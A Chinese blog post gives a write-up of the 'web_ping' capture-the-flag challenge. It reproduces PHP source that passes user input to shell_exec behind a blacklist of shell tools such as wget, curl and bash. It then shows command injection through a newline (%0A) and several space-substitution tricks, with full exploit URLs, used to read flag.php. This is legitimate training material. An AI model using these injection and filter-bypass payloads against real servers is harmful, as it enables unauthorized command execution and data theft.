美文网首页
web_ping的writeup

web_ping的writeup

作者: 小灰灰的大冒险 | 来源:发表于2018-08-19 09:23 被阅读0次

web_ping是cc给我出的题目之一,为了降低难度,把题目的源码也一起放出来了。下面是源码:

 <?php
$target = @$_REQUEST[ 'ip' ];
if(!$target){
    show_source(__FILE__);
}
$target=trim($target);
$substitutions = array(
        '&'  => ' ',
        ' ' => '',
        ';' => ' ',
        '|' => ' ',
        '-'  => ' ',
        '$'  => ' ',
        '('  => ' ',
        ')'  => ' ',
        '`'  => ' ',
        '||' => ' ',
        '<>' => ' ',
        'bash' => ' ',
        '>' => ' ',
        'wget' => ' ',
        'cat' => ' ',
        'cd' => ' ',
        '../' => ' ',
        '/' => ' ',
        'rm' => ' ',
        '>>' => ' ',
        'echo' => ' ',
        'curl' => ' ',
        'dd' => ' ',
        'cp' => ' ',
    );

// Remove any of the charactars in the array (blacklist).

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// var_dump($target);
// Determine OS and execute the ping command.
if(!preg_match('/web[2-6]/i',$target))
{
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {    
    $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping -c 1 ' . $target );
    }
    echo  "<pre>{$cmd}</pre>";
}

?> 

因为题目关联其他方面,所以源码中有一些内容是无意义的,可能会误导读者。题目的思路应该是绕过ping命令,继续执行其他命令来读取flag.php中的内容,当然了,从源码中可以看出有些命令被过滤掉了,肯定是不能用的。
首先,传参ip=127.0.0.1%0Als,这里%0A是换行的意思,因为源码中有shell_exec()这个函数,所以可以执行linux命令,ls是一个linux命令,是把文件都列举出来,此时可以看到两个文件。

1.png
再用linux读取文件的命令来读取flag.php,但是有些命令被过滤了,比如cat,不过不要紧,linux读取文件的命令有很多,例如:
2.png
问题又来了,读取文件的格式都是命令+空格+参数,空格也被过滤了,所以还要找到替代空格的字符,也有很多,例如:
1、/**/
2、括号
3、%09
所以,把url写成
http://104.224.163.5/CTF/web_ping/?ip=127.0.0.1%0Ahead/**/flag.php
http://104.224.163.5/CTF/web_ping/?ip=127.0.0.1%0Amore()flag.php
http://104.224.163.5/CTF/web_ping/?ip=127.0.0.1%0Amore%09flag.php
这里有一个问题,head是不能用()和%09的,我在调试的时候发现的,cc的解释是这样的,head不能用括号是因为括号被过滤掉了,more可以用括号是因为括号过滤之后变成了空格,我其实还是有点不明白……读取后的界面是这样的:
3.png
右键查看源代码就可以找到flag:
4.png

相关文章

  • web_ping的writeup

    web_ping是cc给我出的题目之一,为了降低难度,把题目的源码也一起放出来了。下面是源码: 因为题目关联其他方...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • Behavioral Cloning

    Behavioral Cloning Writeup Template You can use this file...

  • Jarvis OJ PWN level6 WriteUp

    终于做完了自己在pwn方向的第一道堆题,参考了writeup1和writeup2怼了四天,终于理解了整道题目,本地...

  • 因为一群清高的SB以后所有WriteUp全部付费观看

    因为一群清高的SB以后所有WriteUp全部付费观看

  • writeup

    Web 签到题: 点开题目地址,网页上只有一行字,查看网页源码,得到flag 签到题2: 口令为11个字符,而输入...

  • writeup

    南京邮电大学网络攻防训练平台 web writeup 签到题: 查看源代码 就可以看到 flag:nctf{fla...

  • WriteUp

    Crypto base64? 第一眼看题目提示base64,马上就进行一波解码 一眼看过去,感觉是16进制,再转一...

  • bugku-web-writeup

    1.web基础$_GET writeup: 输入http://120.24.86.145:8002/get/?wh...

网友评论

      本文标题:web_ping的writeup

      本文链接:https://www.haomeiwen.com/subject/ptaqiftx.html